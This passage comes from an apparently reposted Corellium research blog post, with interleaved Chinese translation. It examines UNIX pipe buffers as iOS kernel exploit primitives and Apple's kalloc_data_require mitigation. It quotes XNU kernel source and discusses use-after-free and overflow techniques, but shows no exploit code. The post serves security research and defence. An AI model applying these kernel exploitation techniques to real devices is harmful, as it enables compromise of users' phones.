        cpipe->pipe_buffer.buffer = (caddr_t)buffer; 
        cpipe->pipe_buffer.size = size; 
        cpipe->pipe_buffer.in = 0; 
        cpipe->pipe_buffer.out = 0; 
        cpipe->pipe_buffer.cnt = 0; 
        OSAddAtomic(1, &amountpipes); 
        OSAddAtomic(cpipe->pipe_buffer.size, &amountpipekva); 
    return 0; 

This would result in an allocation in one of the kalloc zones rounded up from the size of the initial write. In iOS 14.x, this changed to allocating from the KHEAP_DATA_BUFFERS submap:
这将导致其中一个 kalloc 区域中的分配从初始写入的大小向上舍入。在 iOS 14.x 中,这更改为从 KHEAP_DATA_BUFFERS 子映射进行分配:

static int 
pipespace(struct pipe *cpipe, int size) 
        buffer = (vm_offset_t)kheap_alloc(KHEAP_DATA_BUFFERS, size, Z_WAITOK); 
        if (!buffer) { 
                return ENOMEM; 

By itself, this only prevents pipe buffers from being used to build fake objects (e.g. as the replacer object for use-after-free), because most interesting objects would be allocated from the KHEAP_DEFAULT/KHEAP_KEXT submaps, or from a dedicated zone.
就其本身而言,这只能防止管道缓冲区被用于构建虚假对象(例如,作为释放后使用的替换对象),因为大多数有趣的对象将从 KHEAP_DEFAULT / KHEAP_KEXT 子映射或专用区域分配。

This new call to kalloc_data_require expands on this to enforce that the pipe buffer must be allocated from KHEAP_DATA_BUFFERS. This breaks the technique of pointing one pipe at another because the dedicated pipe zone is definitely not in KHEAP_DATA_BUFFERS.
此新调用对此 kalloc_data_require 进行了扩展,以强制必须从 KHEAP_DATA_BUFFERS 分配管道缓冲区。这打破了将一个管道指向另一个管道的技术,因为专用管道区域绝对不在 KHEAP_DATA_BUFFERS .

At the time of this writing, there are zero Google results for kalloc_data_require (Update: The source code is now available!), which indicates that perhaps this pipe technique isn't particularly relevant anymore (especially having been already affected by data PAC). It's possible that changing a pipe buffer pointer to some other type of KHEAP_DATA_BUFFERS object could pan out, but that's an open research question. If such an object exists then it likely doesn't belong in KHEAP_DATA_BUFFERS and that itself could be considered a vulnerability.
在撰写本文时,谷歌搜索结果为零(更新:源代码现已可用!),这表明这种管道技术可能不再特别相关 kalloc_data_require (尤其是已经受到数据 PAC 的影响)。将管道缓冲区指针更改为其他类型的 KHEAP_DATA_BUFFERS 对象可能会成功,但这是一个悬而未决的研究问题。如果存在这样的对象,那么它可能不属于, KHEAP_DATA_BUFFERS 并且它本身可能被视为一个漏洞。

This new mini-mitigation was a fun discovery, and shows Apple's strategy of hardening to break techniques as a form of defense-in-depth. Looking through Brandon Azad's excellent survey of public iOS kernel exploits, many of them use pipe buffers either as "replacer" objects in a use-after-free scenario or placed after another type of object and used as the target object of an overflow. Since those involve keeping the pipe buffer pointer untouched (i.e. pointing at a legitimate pipe buffer allocation), this mitigation wouldn't affect those techniques. Perhaps Apple has seen the technique used in the wild, or they've simply identified it as a fairly obvious technique and decided to eliminate it preemptively.
这个新的小型缓解措施是一个有趣的发现,它显示了苹果的策略,即加强以破坏技术,作为一种纵深防御的形式。通过布兰登·阿扎德(Brandon Azad)对公共iOS内核漏洞的出色调查,其中许多使用管道缓冲区作为释放后使用场景中的“替换”对象,或者放置在另一种类型的对象之后并用作溢出的目标对象。由于这些涉及保持管道缓冲区指针不变(即指向合法的管道缓冲区分配),因此此缓解措施不会影响这些技术。也许苹果已经看到了这种技术在野外使用,或者他们只是将其确定为一种相当明显的技术,并决定先发制人地消除它。

The full source code is available on Github.
完整的源代码可在 Github 上找到。

  1. Are these realistic primitives? Perhaps not, but the purpose here is to practice on a technique, so the underlying bug (real or otherwise) is less important.
  2. Corellium devices by default have KASLR disabled. Be sure to edit the settings before booting.
    默认情况下,Corelliium 设备禁用了 KASLR。请务必在启动前编辑设置。
  3. The buffer pointer is now subject to data PAC, which unfortunately breaks the technique on A12+. The rest of this post is focused on pre-PAC devices.
    缓冲区指针现在受数据 PAC 的约束,不幸的是,这破坏了 A12+ 上的技术。本文的其余部分将重点介绍 PAC 前设备。
  4. There are a bunch of other cool monitor commands exposed by Corellium, run process plugin packet monitor help for a list!
    Corellium 还公开了一堆其他很酷的监视命令,运行进程插件数据包监视帮助以获取列表!
  5. Perhaps Corellium will add a way to hook kernel_base+offset in the future which would make this much easier.
    也许 Corellium 将来会添加一种钩住 kernel_base+offset 的方法,这将使这变得更加容易。
  6. Neither of these are great examples for real exploitation since there are other ways to read the version string, and the kern.maxfilesperproc sysctl is both readable and writable from userspace, but they demonstrate the point.
    这些都不是真正利用的好例子,因为还有其他方法可以读取版本字符串,并且 kern.maxfilesperproc sysctl 在用户空间中既可读又可写,但它们证明了这一点。
  7. IDA Pro had some bizarre disassembly issues with this function, but Binary Ninja handled it quite well.
    IDA Pro 在此功能上遇到了一些奇怪的反汇编问题,但 Binary Ninja 处理得很好。


原文始发于corellium:Exploring UNIX pipes for iOS kernel exploit primitives

版权声明:admin 发表于 2023年11月21日 下午10:28。
转载请注明:Exploring UNIX pipes for iOS kernel exploit primitives | CTF导航